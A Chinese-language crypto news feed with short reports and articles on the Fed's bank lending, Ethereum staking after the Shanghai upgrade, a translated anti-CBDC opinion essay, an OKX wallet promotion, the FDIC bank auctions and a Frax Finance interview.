    摩根大通：美联储的贷款计划或将为美国银行系统注入2万亿美元的流动性
    PANews 3月16日消息，据彭博社报道，摩根大通表示，美联储的紧急贷款计划可能会向美国银行系统注入多达2万亿美元的资金，以缓解流动性紧缩。以Nikolaos Panigirtzoglou为首的策略师周三在一份客户报告中写道：“美联储银行定期融资计划的使用量可能会很大。”他们表示，尽管最大的几家银行不太可能利用该计划，但该计划设想的最大使用规模接近2万亿美元，这是除五大银行以外的美国银行所持债券的票面金额。 摩根大通的策略师们写道，尽管美国银行体系中仍有3万亿美元的准备金，但其中很大一部分由大型银行持有。他们表示，流动性收紧既是由于美联储的量化紧缩，也是由于加息导致资金从银行存款转向货币市场基金。 此前3月13日消息，在Silvergate Capital、硅谷银行、Signature Bank相继倒闭后，美联储表示将向符合条件的存款机构提供250亿美元紧急贷款。  ( 4 min )
    DVT开发商Obol：上海升级将如何影响Staking的未来？
    来源 |blog.obol.tech 作者 | Juan Gadea 翻译 | John, ECN 校对 | Stephanie, ECN 备受期待的上海升级即将到来，它于 3 月 14 日在 Goerli 测试网上进行测试，并预计在四月的第二个星期上线主网。上海升级是以太坊生态的一个主要地标，第一次允许人们从质押合约中进行提款。 这次升级使得质押行业第一次有机会进行彻底调整。直到今天，市场参与者都因延迟的奖励机制而面临在不同质押产品间进行高效转换的难题。提款提供了在产品间自由切换的自由，也因此使得用户可以暂停一下验证，尝试新的服务，或找到足够的信心去自己运行一个节点。提款所减少的摩擦将驱动以太坊质押市场进行下一步转型。 普遍的共识是，提款会极大地降低与以太坊质押有关的风险，使其能成为对更多机构和投资者而言更可行的选择。直到现在，无法提款已经妨碍了人们对世界上最有价值的资产之一 (价值约为 290 亿美元) 的全球库存的访问。很快，质押奖励将可以通过各种行动，包括捐赠和资助公共物品，而可以一直被访问和流动。开启提款功能同样是以太坊微观经济演化的重要一步，对于居家验证者而言，提款带来了急需的现金流，以为他们的运行提供资金（还可能做更多事情）。 在这个背景下，下面我们将介绍一系列在走向上海升级时关注的关键指标，为什么它们是相关的，以及在上海升级前后可能如何改变。解锁以太坊的流通价值流很有可能成为一种推动网络成长和全球采用的主要催化剂，正如 Dune 所说，数据必须流动……在这里，也是时候让 ETH 流动起来了。 自信标链在 2020 年上线至今，已经有超过 1750 万个 ETH 质押在其上，每个月以 13.4% 的速率稳定增长（现在大约有 54.6 万个验证者为信标链提供安全性），而目前流通的 ETH 数量约为 1.205 亿，网络参与率保持在 14.5% ，但是自从合并 (The Merge) 之后，每月存款增长率已经降低到平均 4% ，表明运行验证者节点的热情有所减退。 来源 :Etherscan, Dune Analytics@obol_labs 在上海升级之后，风险的降低可能会带来参与率的大幅提升，可能在价值上会翻倍，以太坊研究员 Justin Drake 早在 2019 年便已明确指出这个方向，他说大约 3350 万个 ETH 对于网络的安全性来说才是合理的（要达到这个安全阈值，目前质押的 ETH 存款大概需要翻倍）。 但是，尽管开启了提款功能，鉴于目前验证者的年化质押奖励比一些更稳定的选项 (比如美国国债)更低，有人为明显下降的质押参与率感到担忧是合理的。 更加有趣的是，上海升级将让以太坊奖励率更加接近真正的市场均衡。这是第一次奖励率可以实际上上升地更快，创造一个我们所需要的，让质押成熟的双边市场，它不仅会激励更多人质押，还会为那些想要转向新事物的人提供退出机制，这可能会增加验证者奖励 (例如，降低验证者数会有效地增加质押者收益)。 然预计随着提款的到来，参与率可能会翻倍或增长更多，但是不太会达到与其他 PoS 链类似的均衡水平，那些链的参与率通常超过流通量的 60% 或更多。如此高的参与率会导致更低的质押奖励，可能使得它无法吸引验证者参与（如果流通量的 60% 都质押了——即大概 7200 万个 ETH——那么平均一个以太坊验证者的净年化回报会达到约 0.86％）。因此，单纯的经济激励不大可能会维持如此高的参与率。 另外，ETH 作为交易媒介而被广泛使用也会进一步限制参与率，ETH 作为货币意味着很多代币持有者不太想质押他们的币，因为他们可能更喜欢用在其他地方，比如交易，投资。所以即使质押的经济激励更有吸引力，总体的参与率可能还是会因为代币持有者不想把他们的币被长时间锁定而受限。 我们可以这样计算参与率： 参与率 = 质押的 ETH / 总 ETH 供给 来源 : Dune Analytics@obol_labs 关注这个指标的主要原因是以太坊验证者收益与活跃验证者数量成反比，换句话说，随着参与率的下降，网络验证者的奖励会增加，这种动态关系在整个网络里有连锁反应。最基本的验证者行为 (也就是验证者进入和退出的过程）会导致这个指标的巨大波动。我们把这看作是一个重要的宏观指标，对其余的行为有下渗效应。 我们还把参与率看作一种以安全计量的倍数，被称为“安全资本化”： 安全资本化 = 总的 ETH市值 / 质押的 ETH 市值 这个指标代表与这个网络的总市值相比，这个网络所得到的经济安全数。当这个倍数太高时，投机会超过网络安全，反之亦然。 在当前的 ETH 市场资本化情况下，安全资本化达到约 6.89 倍，这比 2020 年 12 月的历史最高值下降了 94.5%，当时这个倍数达到 125.5。 从历史上看，安全资本化一直在每个月稳步下降，随着加密货币市场的成熟和以太坊网络安全接近合理阈值 (参考这里)，投机行为明显减少。随着上海升级后链安全性趋向稳定，看到这个指标走向成熟将会振奋人心。 来源 :EtherScan, Dune Analytics@obol_labs 以太坊质押，路在何方？ 在总的参与率的基础上，我们密切地追踪着质押存款进入或退出网络之后的去向，在上海升级之后，质押网络的形貌将有机会发生变化，以适应不同的市场现实，与我们启动信标链的时候有着巨大的不同。 正如上图所示，目前流动性质押协议占有最大市场份额，保持占质押 ETH 的约 43％¹，紧随其后的是中心化交易所。流动性质押协议代表了一个约为 115 亿美元的市场，这个市场还在过去几年一直持续增长，每个月的平均增长率为 28.2%。 正如下表所示，ETH 的总质质押量中相当大的比例仅有四个实体持有—— Lido、Coinbase、Kraken、和 Binance—— 占 ETH 总质押存款的 56%，相当惊人。相比之下，在 Cosmos 上质押的相等数量的 ATOM 是在 18 个验证者实体中分布的。 来源 : Dune Analytics@obol_labs,@hildobby 中心化 vs 去中心化质押的问题在以太坊社区里被广泛讨论。当谈到中心化质押的问题时，仍有一些技术门槛，使得普通人难以运行一个验证者节点。虽然中心化实体让非技术的用户能更容易地进行质押，但为了网络的健康，还是需要进一步努力对质押操作进行去中心化。 对罚没的恐惧和掉线惩罚仍然让质押代币的人们不安，尽管被罚没的验证者数量相对来说仍然较少 （在超过 54.6 万名验证者中只有 229 名验证者被罚没过）。其次，运行一个验证者所需的资金要求（32 个 ETH / 约 5 万美元）使得很多人不得不依赖质押提供商，这自然导致了汇集效应，进一步加剧了现有的质押中心化风险。 目前，人们正在大力推动质押去中心化，其中的一个重点是通过 DVT (分布式验证者技术) 来引领。DVT 的一些好处 包括： 提高参与度：通过降低运行验证者节点的门槛，DVT 鼓励更多人参与到质押当中，带来一个更加多元和有代表性的网络。DVT 使得小型验证者能提供与大型验证者相当的运行时间和效率。运行一个节点所需的 ETH 也被降低了，因为多个节点可以组合在一起来满足 32 个 ETH (约 5 万美元）的要求来参与验证。 去中心化：DVT 通过实现一种被称为多运行者验证的结构来实现验证过程的去中心化，也就是验证者职责在一组实体或个人间分配。 安全性：多运行者验证使得单点故障的风险几乎为零，极大地提升了网络的总体安全性。 提升投资收益率 (ROI)：通过提高在线时间，降低罚没风险，DVT 允许质押者优化它们的质押 APR。 灵活性：DVT 允许验证者节点在不同的配置、客户端、地点和组织下运行，这为质押带来了更大的灵活性并优化了以太坊的客户端多样性。 关于质押的深入指南和科普同样有助于降低技术门槛。在 Dappnode 和 Avado的引领下，即插即用的质押硬件也越来越受到关注这些努力可能让更广泛的用户更容易参与质押和增加网络节点数，从而提高去中心化水平。 流动质押同样在向更加去中心化的规范转变。Rocket Pool、Stakewise V3、Lido V2 都是流动性质押模型使用模块化方法的例子，用户对如何设置验证者节点有更多的决定权，且将 DVT 作为这些规范设计的核心元素。 最终，中心化 vs 去中心化的质押问题有可能会持续作为辩论主题。虽然技术门槛和质押作为服务的流行使得中心化成为以太坊的一个苦涩现实，但是 DVT 的引入、新的法规范式，以及更多提高可用性/提升去中心化的努力可以在长期内带来一个更加民主和安全的网络。用户和质押者理应审慎考虑每种质押方式所涉及的权衡问题，并努力寻求一个平衡且可持续的质押方法。 来源 : Dune Analytics@obol_labs,@LidoFinance 另一个值得关注的地方是对 ETH 流入流动性质押池的监听，从个人和集体的角度来看都是如此。正如前文所述，流动性质押目前占有质押市场的最大份额，流动性质押池的精简商业模式能减少质押者在委托他们的代币时的高昂机会成本，使得质押变得非常高效，因此它还可以进一步增长。 流动性质押的目的在于解决传统质押方式的流动性限制问题，它主要是为了解决以太坊的流动性限制，即用户从信标链启动以后就无法提款了，我们相信流动性质押是一个成熟市场的重要组成部分，因为它允许以最直接的方式来普及质押服务。 尽管 Lido 目前在市场占据主导位置，它还是面临着与其他流动质押协议的严峻竞争，比如 Rocket Pool、StakeWise，Frax，都慢慢地形成对 Lido 市场主导地位的挑战。另外 Coinbase 的加入(头部中心化交易所之一，同时也是行业巨头)使得竞争更加激烈了。由于强大的品牌和声誉，Coinbase 在引入大量新的质押者方面处于有利地位，而且人们已经能感受到它占 15.4％的流动性质押市场份额所带来的的影响了。 尽管 Lido 目前在市场占据主导位置，它还是面临着与其他流动质押协议的严峻竞争，比如 Rocket Pool、StakeWise，Frax，都慢慢地形成对 Lido 市场主导地位的挑战。另外 Coinbase 的加入(头部中心化交易所之一，同时也是行业巨头)使得竞争更加激烈了。由于强大的品牌和声誉，Coinbase 在引入大量新的质押者方面处于有利地位，而且人们已经能感受到它占 15.4％的流动性质押市场份额所带来的的影响了。 下表展示了以太坊的头部流动性质押提供商，Lido 以 74.7％ 的份额遥遥领先，紧随其后的是 Coinbase 的 15.4％，Rocket Pool 以 5.8％排在第三。当我们离提款越来越近时，市场的新星也会冲击市场。比如像 Alluvial 带着他们的机构流动性质押解决方案，还有 Stader Labs 和 Swell 这样的参与者都有可能在上海升级之前部署他们的产品。在流动质押市场的发展潮流中，EtherFi 也不容小觑。 来源 : Dune Analytics@obol_labs,@eliasimos 流动性质押市场目前观察到的主要趋势是，大多数流动性质押代币一直以低于其基础价值的价格进行交易。这个现象由不同原因引起，比如市场波动，流动性限制，延迟的现金流导致的短缺。在过去一年，我们已经在流动性质押市场见过几次重大抛售，包括五月 LUNA 的崩塌，六月的 3AC 熔断, 十一月 FTX 的倒下。 由于验证者不再有现金流的问题了，剩下的问题是流动性质押代币 (LST) 将以溢价还是折价交易。提款前，价格一直由有激励的流动性来维持，且由于他们的结构性延迟现金流而面临很强的逆风。现在人们可以取回他们的 ETH 了，这将是 LST 未来交易的一个转折点。但是，预计进入延迟可能长达数周，迫使重量级玩家快速转向 LST，把价格推进溢价区。另外，传统的金融理论表明，验证者应该持有多于 32 个 ETH，因为它附有奖励流。这可谓是新时代的黎明。 但是一个明显的例外是 Rocket Pool，Rocket Pool 的 rETH 一直以溢价交易，这主要是由于对更加去中心化的推动和 Rocket Pool 的机制设计。rETH 的供应与节点运行者增长相关。由于 Rocket Pool 有一组广泛分布的节点运行者，且现在缺乏让他们运行迷你池节点的需求，他们现在有大量的 ETH 在存储池里等待与迷你池验证者配对。由于没有足够的迷你池验证者吸收存款的需求，这促使 rETH 以溢价交易。 下表对比了两种情况：应该与 ETH 以 1 比 1 平价交易的 LST，和相对于 ETH 增值的奖励性代币。奖励性代币的溢价/折价来自转换率，它又产生了一个暗含的公允价值率²。 Luna 和 3AC 崩盘引发的混乱给所有 LST 带来了深刻的影响，迫使他们在 2022 年相当一部分时间里以严重的折价进行交易。Lido 的 stETH 基本全年都在以折价交易，特别是五月到八月之间，平均折价 -1.42%。但是在那以后它就恢复过来了，并且现在以接近它的锚定价进行交易。Stakewise 的 sETH2 同样在过去一年努力维持平价交易，但是最近也也恢复过来了，而且交易价格接近平价。相反，frxETH 自十月上线以来就一直保持相当稳定，除了一些例外很少偏离锚定价。 RocketPool 在五月 Luna 崩盘前一直以溢价交易。正如大多数 LST 一样，它的交易价格严重折价，直到 10 月，它才开始恢复平价。目前，它又回归了溢价交易， 2022 年 10 月以来平均高出 1.78% 的隐含公允价值率。 来源 : Dune Analytics@obol_labs,@eliasimos 在报告的最后，我们想谈谈以太坊的通货膨胀问题。在 2022 年 9 月，以太坊共识从工作量证明 (PoW) 转换为权益证明 (PoS)，随着执行层上不再增发代币，ETH 趋向通缩状态，社区把这个概念称为超稳健货币 (Ultrasound Money)。 与前几年相比，这带来了通货膨胀的大幅下降。在 2022 年，ETH 的通货膨胀率平均保持在大约 4％。然而，合并后，年化通胀率达到让人惊叹的 4%，因为合并以来，ETH 的流通供给有效减少了大约 2.73 万个 ETH，减少了 0.023%。 来源 :EtherScan, Dune Analytics@obol_labs,@blockworksres 以太坊上的交易需要一笔用 ETH 支付的基本费用才会被视为有效（参考 EIP-1559）。费用在交易过程中被烧毁，减少了流通中的 ETH。费用烧毁基础在 2021 年 8 月的伦敦升级中上线，此后一直保持至今。 更简单地说，当更多人使用以太坊主网交易时，更多的 ETH 就会被烧毁来作为交易费用。这带来了 ETH 供应的通货紧缩压力，这在重大的链上事件 (如 NFT 空投或市场抛售) 中会特别明显。 由于不同原因，上海升级前后， ETH 通胀率可能会经历一次大幅下降，但很大程度上是由于提款的机会，它允许大约 290 亿美元的验证者余额能以无需许可的方式在链上转移。 当该余额有效地影响市场时，将发生大量的链上交易，导致大量费用被烧毁。另外，由于生态资产的价格较低，验证者可能直接把他们的 ETH 换成其他蓝筹代币。这可能导致通胀率的急剧下降，类似于 2022 年 5 月 1 日 Otherside Mint (BAYC) 事件里观察到情况。 然而，验证者余额不会马上全部涌入市场，以太坊规范对部分提款的笔数进行了限制：每个 epoch 256 笔（部分提款就是提出超过 32 个 ETH 部分的余额，即质押奖励）。这意味着一天可以处理 57600 笔部分提款。目前验证者的数量（约 54.6 万名）如果全部都想部分提款的话，需要大概 9.48 天才能完成，这会导致奖励转存可能持续几天。对于想退出验证者集的验证者，来自 Blockworks Research 的 WestieCapital 制作了一个有参考性的图表，描绘了在特定时间，根据想要退出验证者集的验证者百分比，提款等待期将持续多久。 即将到来的以太坊上海升级将标志着这个网络路线图的一个重要里程碑，并且是整个质押行业的一次重置。启动提款后，市场参与者将能够自由地改用其他质押产品，并且摩擦的减少会改变质押市场的格局。提款还会极大地降低与以太坊质押相关的风险，引进下一波的投资者和机构。 总体上降低以太坊的风险将提高网络参与率，因为质押变成了加密市场的无风险债券，使人们能够积极参与到为公共区块链网络提供安全性中。 在 Obol，我们将作为更大型上海升级基础设施过渡的一部分进入市场，以帮忙准备增加质押进以太坊网络里的 ETH 的验证者提供安全性。分布式验证者技术（DVT）通过把验证者罚没风险几乎降为零，同时为行业提供高度可用的验证者，进一步对以太坊质押进行去风险（Obol labs 在 2022 年 12 月 30 日于以太坊主网上第一次上线了分布式验证者（DV）集群——详情参考这里）。 去中心和模块化规范将使流动性质押成为质押行业下一波浪潮幕后的驱动力，像 Lido V2，Stakewise V3 和 Rocket Pool。通过给予质押者在节点运作上更大的控制力，流动性质押会在提升去中心化的同时给用户活跃参与网络赋权。随着这一领域的发展和成熟，我们可以期待在质押行业看到更广的采用和更好的创新。 随着以太坊社区的发展，我们必须努力支持正在提高网络安全性和韧性的工作。DVT 的部署与提款的一起推出将使得质押成为一个新且富有成果的生态，并具备以健康的方式茁壮成长的所有必要元素。 在我们即将迎来上海/Capella 升级之际，我们邀请你阅读我们的 Dune ETH 质押生态系统 dashboard 来获取其他重要见解——链接 报告和 dashboard 的制作要特别鸣谢@hildobby@eliasimos@LidoFinance@BlockworksRes@rp_community提供的开源资料 注释： 1.信标链存户的市场份额是大致数据，因为不是所有地址都对应不同实体 2.奖励性代币计算公式：ETH/rETH 转换率→隐含的 rETH 公允价值→实际 rETH 价值→rETH 溢价/折价 3.计算方法是平均验证者余额 x 活跃验证者的数量 x 3 月 6 日的 ETH 价格 （1560 美元）  ( 7 min )
    混乱的世界与去中心化愿景
    作者：《From Covid to CBDC: The Path to Full Control》by JOSH STYLMAN 编译：Block unicorn 一段时间以来，很明显的看到法定货币体系似乎非常不稳定，往坏的说，这是一个已经过期的庞氏骗局。如果是这样的话，我怀疑中央银行家和0.1%的人知道这一点，并可能准备在旧系统崩溃之前引入新系统——即使他们在崩溃的过程中进行了人类历史上最重大的财富转移。 对任何关注这些趋势的人来说，中央银行数字货币（CBDC）似乎是显而易见的，它将成为这个新系统。 各种迹象表明，CBDC的到来已经迫在眉睫。昨天，几家全球银行宣布与纽约联邦储备局合作，试行数字美元。鉴于信用卡/借记卡、支付应用程序和其他在线支付系统无处不在，数字货币在一段时间内必然会发生。风险不是电子部分，那是不可避免的——而是一个中央银行将监督数字货币的事实。 从我的角度来看，怎么强调CBDC带来的风险都不为过。无论它是基于良好意图的乌托邦愿景，还是粉碎我们主权的险恶阴谋，其结果都可能是一样的：控制。中央银行数字货币具有法定货币的所有缺点，再加上由国家监督的监视和可编程性的附加层。 在过去的几年里，现实团队中的许多人可能会觉得自己是持不同政见者，仅仅是因为他们挑战了超越羊群心态的东西。对包括新冠病毒的可能起源、PCR的有用性、对大多数人的风险、早期治疗的好处、自然免疫的优势、疫苗的安全性和有效性、口罩/封锁的利弊以及疫苗护照的效用等话题提出问题或发表反对意见，创造了一个人们被污名化、被疏远或被彻底审查的环境。想象一下，一个货币系统的特点是将我们的生活方式纳入社会工程，比如说： 卫生部门：“ 你没有健康码……对不起，你不能进入公共场所。” 能源：“ 你这个月的能源配额用完了……对不起，你的电动车启动不了。” 食物：“ 这周你吃了太多肉……对不起，你的钱只能用来养植物(或虫子)。” 储蓄：“ 如果你不尽快领你的钱……对不起，你的钱本月底就到期了。” 言论自由：“ 你分享了我们不同意的信息……对不起，我们使用算法对你进行罚款。(PayPal已经开始这么做了) ” 如果CBDC最终成为新的货币体系，其核心特征将使世界各国政府不再需要像全球健康危机这样的事情来印钞或封闭社会。几行代码可以塑造我们的行为，并确保我们被迫呆在家里。整个平台的设计将排除那些不再被认为是必要的劳动力。虽然我最初认为国家主导的药物干预在这个时代是一个孤立的、严重的威胁，但很明显，它们只是一个更大的野兽中的一根触手。无论什么力量在向世界暗示这个方向(达沃斯，看看你的方向)，它都表明自己在无情地追求延续恐惧和权力。 我很清楚，这听起来一定很疯狂，特别是对那些有一段时间没有注意到这一趋势的人来说。几年前，我会认为这很荒谬，但在目睹了政府的谎言、欺骗和争夺控制权后，我变得害怕这可能是我们要走向的方向。 当你认为疫苗强制令没有任何医学上正当理由时，他们完全可以通过 “ 出入码”来作为社会通行证。在我不久前居住的纽约市，大多数人接受Vaxport，并喜欢Excelsior Pass移动应用程序，因为它很方便。有多少人会对数字货币有同样的感受呢？毫无疑问，数字货币将带来其自身的一些好处。 中央银行数字货币将使政府能够实施自上而下的控制，就像中国社会信用体系一样。一些中央银行家甚至公开说出了这个不为人知的部分。无论这是否是该计划的目标，历史上是否曾经有政府拒绝了他们所获得的权力？在这个阶段，这不是一些阴谋论的猜测，已经有许多例子表明这种以金融为驱动的强制已经在进行中： “ 现在政府要求人们申请装有微芯片和照片的塑料个人番号卡，并将其与驾照和公共医疗保险计划关联。目前使用的医疗保险卡没有照片，将于2024年底停止使用。人们将被要求改用个人番号卡。” “ 新的通行证将保证每周配额的分配。一旦车辆识别号码和其他详细信息得到验证，每个国民身份证号码（NIC）都将获得一个QR码。” “ 据9News昆士兰的一份报告称，该部门已经裁定，未接种疫苗的教师本学期经过无薪休假后被允许返回工作的人员，将再次受到经济打击，他们将在18周内“减少报酬。” “ 这项试验是自愿的，将使用面部识别来识别人员及其持有的门票数量。该技术可以扩展到自动购买优惠券、餐厅和酒吧。” “ 乌干达政府最近宣布的计划之一是，将在2024年居民身份证过期时开始收集其DNA和生物特征数据，用于其重新设计的数字身份计划。” 这只是冰山一角，而且是全球性的。正如我们在封锁措施中看到的那样，中国是西方效仿的典范。与朝向与健康有关的威权措施一样，有着金融利益的未经选举的全球主义者潜伏在幕后。 我希望自己在这方面是错误的。然而，在有证据之前，我们需要对任何继续沿着这条危险的道路前进的人持怀疑态度，无论他们的动机是什么。 如果您想更深入地了解这个话题，我强烈推荐您阅读Fabio Vighi的《长期Covid货币政策》一文。Edward Dowd也广泛探讨了货币体系与covid之间的关系，包括这个令人惊讶的演讲。另外，优秀的Maajid Nawaz也关注了CBDC背后的驱动因素。其他人，如Marty Bent、Saifedean Ammous和Allen Farrington，在识别这些风险方面领先于曲线。我分享他们的评估，认为比特币很可能解决了这个问题。 如果您还没有注意到，过去三年多（至少）的一个主题是“自由与控制”，因此，如果我们想确保我们的孩子在一个自由的世界中成长，未来必须是去中心化的。  ( 4 min )
    硅谷银行倒闭风波爆发信任危机，OKX Web3钱包如何在Web3世界中为用户建立“安全感”
    “财政大臣处于再次出手拯救银行的边缘。”谁能料到，美国会如此快再次发生自2008年金融海啸以来最大规模的银行倒闭事件，中本聪14年前写在比特币创世区块里的场景再次上演。 伴随着美联储大放水后激进加息，硅谷银行突然于3月10日因资不抵债宣布破产，引发了金融市场骨牌效应。尽管美国金融监管部门最终为储户存款进行了全额兜底，但储户们信心已经受损，在该行重新开业后就争先恐后排队等候取款。 这个监管眼里的“优等生”爆发流动性危机引发的资产储存安全值得警示，说到底所谓的救市行动终究是“治标不治本”，谁知道还有多少“硅谷银行们”。而相比硅谷银行，FTX的用户们就没有这么幸运了。因此在真正的持有自己的资产的同时，又能顺畅地通过各个应用进行资产管理，成为用户们的刚需。 3月10日，美国金融沼泽地上飞起了一只黑天鹅。历经40年发展的硅谷银行，在此之前安然躲过了上世纪90年代加州房地产危机、2000年互联网泡沫破裂和2008年次贷危机这三次危机，经营状况的稳健良好使其连续五年登上福布斯年度美国最佳银行榜单。但美联储的强势加息导致这家明星银行轰然倒塌，甚至面临挤兑危机毫无招架之力，储户资产在一时间都打了水漂。 金融的本质，是信心。虽然硅谷银行储户暂时获救，但其暴雷却拉响了美国银行业的信任警报，除了面临存款流失的困境，各家股价也遭到集体抛售市值大幅缩水。资产的撤退也说明了即便是美联储出手“拆雷”，用户信任也已不复从前了。 虽然硅谷银行的闪崩深层原因是美联储“猛踩刹车”，但也真切反映出，虽然这些持牌金融机构有着严监管背书，但依旧不能排除破产倒闭的可能性，就算是“标杆生”也无法保证用户的资产安全。而据FDIC统计数据显示，2008年至今，仅美国就有537家银行破产。就算是这些银行有着存款保险制度，但受保赔付最高额度是25万美元，特别是大额储户的资产将很难得到全面保障。 “不是你的私钥，就不是你的资产”。传统机构陷入危机后用户往往处于被动局面，这也凸显出自托管的重要性。而自托管被认为是管理加密资产的最佳实践，OKX Web3钱包等Web3自托管钱包可帮助用户实现链上资产100%的控制权和所有权。 对于用户而言，自托管型钱包可使其掌控唯一私钥，无需第三方机构就可自己即时存储、管理和交易资产，换言之用户本身充当着自己的个人银行，可完全掌握资产所有权和隐私权，避免了传统银行倒闭而导致取款难的风险，毕竟并非所有银行都能获得政府托底的机会。 当然，自托管钱包拥有绝对的访问权也意味着需自己全权负责，而用户存在着丢失或遗忘助记词的可能，且加密黑暗森林无处不在的资产风险对钱包的安全性提出了更高要求。 在账户生成和私钥备份上，与MetaMask等仅支持一套助记词派生多个钱包账户不同，OKX Web3钱包是唯一一家同时创建多套助记词钱包及一套助记词派生多个账户的钱包，可在减少私钥外泄的风险的同时，实现资产轻松便捷的管理。 在钱包备份上，OKX Web3钱包允许用户在创建新钱包时只需要登录iCloud和Google Drive ，并通过钱包设置备份密码轻松完成备份。即便是遗忘助记词或丢失设备，用户也可以登录iCloud和Google Drive验证备份密码来恢复助记词，不必担心资产丢失。 在安全审计上，OKX Web3钱包的私钥安全模块则已通过区块链安全审计公司慢雾科技的审计，可确认私钥或助记词只存于用户设备中，且不会向外部服务器发送私钥或助记词。 此外，大部分加密应用在绝大多数情况下都会默认要求用户给予“无限授权”，在带来便利的同时也埋下了很大的安全隐患，存在攻击者窃取钱包资金的概率。而OKX Web3钱包允许用户管理合约权限，并支持输入授权额度，可定期一键取消。 值得一提的是，OKX Web3钱包还更为人性化地为用户的使用环节设置了严格的安全防护措施，比如通过接入天眼KYT系统获取2亿个链上地址标签，可在用户的DApp合约交互、提现转账等行为时进行恶意地址、可疑交易等风险检测，让用户拥有资产所有权的同时，极大程度帮助用户降低资产被盗和丢失等风险。 钱包是进入Web3世界的通行证，也是交互各DApp的必备工具。出于这种考虑，除了提供资产存储的基础功能，OKX Web3钱包还满足了用户便捷高效的资产管理需求，并帮助降低链上活动的参与门槛。 资产管理方面，OKX Web3钱包除了支持直接内置在加密交易平台OKX App内，允许用户一键同时管理CeFi和DeFi类资产，主要是综合市值排名前1000的币种，用户可进行资产定制化管理，还可内置在Chrome、Firefox、Opera和Brave等网页端，可直接在浏览器中使用所有钱包功能。同时，OKX Web3钱包还提供最全面、最易懂的交易历史信息解析，让用户轻松查看自己的交易动态和链上交互信息。 不仅如此，多链态势之下，用户面临着资产分散、管理繁琐等问题，而OKX Web3钱包可支持EVM（L1/L2）、UTXO、Cosmos、Tron、Solana、Aptos（Move系列）系列生态链，相比MetaMask仅兼容以太坊EVM生态，OKX Web3钱包用户无需切换不同App就可一键管理不同的链上资产，极大降低了链上操作的繁琐程度，带来更为高效的交易体验。除了能轻松管理多链资产，OKX Web3钱包还会自动寻找跨链的最优路径，来提供更小滑点，且跨链资产管理是零手续费，仅需支付Gas费即可。 目前，OKX Web3钱包已接入50+条链，包括BSV、Achain、ARK、Nebulas、IMX等老架构链以及Solana、Ethereum、OKC、BSC、Polygon等轻解析支持链，也就是说使用OKX Web3钱包这一异构多链钱包，绝大部分用户不同链上的操作需求足以被覆盖。 当然，钱包作为Web3大规模采用的重要基建之一，所有的交互行为均需通过钱包完成。OKX Web3钱包通过搭建DEX（去中心化交易所）、NFT市场、赚币、DApp生态系统等一站式平台，打通了Web3全门类应用入口，实现了用户无缝穿梭Web3世界。 此外，OKX Web3钱包还支持连接Ledger等硬件钱包来守护用户资产，包括可查看27+多链、1000+币种资产等，并还可使用硬件钱包一键畅游Web3。而在近期，OKX Web3钱包移动端还上线了主流资产跨链兑换Gas服务。当用户进行转账、兑换交易、NFT交易、赚币等操作时遇到Gas不足导致无法发起交易的情况，可一键将用户账户中的主流资产迅速兑换成Gas费，目前支持Ethereum、OKC、BSC、Polygon、Arbitrum、Optimism等9条链的单链和跨链交易。 从雷曼兄弟到硅谷银行，Mt.Gox到FTX，“大而不倒”的法则其实早已失效，当浪潮打来时该面临的风险终难以避免，而用户资产的控制权和主自主权被不断侵蚀已难以忽视。相比托付给第三方平台，用户资产的自我托管意识正在加强，而OKX Web3钱包等以用户需求为宗旨的自托管钱包将帮助广大用户守住资产安全底线，并深度参与Web3生态建设中。 资产所有权的重构是Web3浪潮的主旋律，并伴随着钱包的迭代发展而不断演变。放眼“千团大战”般的竞争市场，谁能率先在钱包的安全性、便捷性和易用性上展开新叙事，并满足日益复杂的加密金融需求才是出圈新范式。  ( 4 min )
    外媒：美FDIC拟于周五拍卖硅谷银行和Signature Bank，后者买家或须放弃加密业务
    PANews 3月16日消息，据路透社报道，知情人士透露，美国联邦存款保险公司（FDIC）的监管人员要求有意收购破产的硅谷银行和Signature Bank的金融机构在3月17日（周五）之前提交报价。目标是将硅谷银行和Signature Bank全部出售。如果不能整体出售，也可以考虑出售这两家银行的部分股权。 两位消息人士称，只有拥有现有银行牌照的竞标者才被允许在提交报价前研究银行的财务状况。据悉Signature Bank的买家必须同意放弃该银行的所有加密货币业务。当前美国联邦存款保险公司拒绝代表自己和硅谷银行置评，Signature Bank和负责此次拍卖的Piper Sandler亦均未立即回应置评请求。  ( 4 min )
    专访Frax Finance创始人：Frax是唯一一种完全抵押的去中心化稳定币
    撰写：Revelo Intel 编译：深潮 TechFlow 在这一期的节目中，DeFi Dave 采访了 Frax 创始人 Sam Kazemian，谈论了 Frax 的货币溢价、隐形产品、链上治理等话题。下面是记录的一些笔记，让我们一起了解更多信息。 任何没有至少 100%外部抵押支持的稳定币都不会成功。最近，Frax 社区投票决定 100% 抵押 $FRAX 的全部供应。$FRAX 是唯一一种完全抵押的去中心化稳定币。 Frax 的货币溢价 货币溢价是一个概念，即如果您发行了一种稳定币或负债，人们会使用该稳定币而不期望发行人支付或利率。 绝大多数加密协议将成为稳定币或大规模发行自己的稳定币。 大多数金融原语看起来像是部分准备金银行。 LSD 或流动质押衍生品基本上是$ETH 稳定币。 稳定币是某个实体发行的东西，对于保持某个价格，存在某些隐性或明确的承诺。 $frxETH 拥有 Curve AMO，可以在$frxETH 和$ETH 之间交换，就像一个铸币和赎回功能。 金融法则或金融激励会影响协议或协议建设者和社区。 大型 DeFi 协议构建护城河保护自己并最大化其价值的最重要和有价值的方式是发行一种人们将其用作货币的负债。 稳定币主义 稳定币主义被抽象化了，就像人们可能不会想到的跨链桥一样。 跨链桥最有价值的优势是它可以进行防御，其他人无法通过降低费用来分叉或商品化，但事实上他们在链的另一端发行了一个稳定币。 跨链桥项目本质上是一个稳定币发行商。 Curve 是一个优秀的交易所，比其他任何东西都要好。 成为建设者 最重要的是要确保安全，并把它看作是一项责任，这是这个行业的基础。 Frax 变得越来越安全，因为它变得越来越大，越来越重要，这并非偶然。 Frax 的隐形产品 他们正在开发一种名为 BAMM 的产品，意思是借款自动做市商，这对 DeFi 来说是潜在的零到一创新。 这个想法是不需要预言机，它会根据任何资产建立流动性，并在资产流动性上升时允许人们借用它。 Frax 的链上治理 Frax 正在设计一种名为 FRXGov 的机制，其想法是大型协议始终需要某种形式的人类干预。他们希望能够在不需要人们信任的情况下提出人类干预的建议。 当 Frax 创建签名时，他们将其完全提交给链上的 FRXGov 合约，并在一定时间后$FXS 持有人可以投票或否决该签名。然后在一定时间后，智能合约本身允许在链上执行该签名。 有很多人喜欢积极参与治理。 监管 未来所有的事情都会得到解决。 美国没有搞砸重大金融或技术革命的历史。 加密货币中有很多需要跟监管积极合作的地方。 稳定币需要它们自己的监管。  ( 4 min )
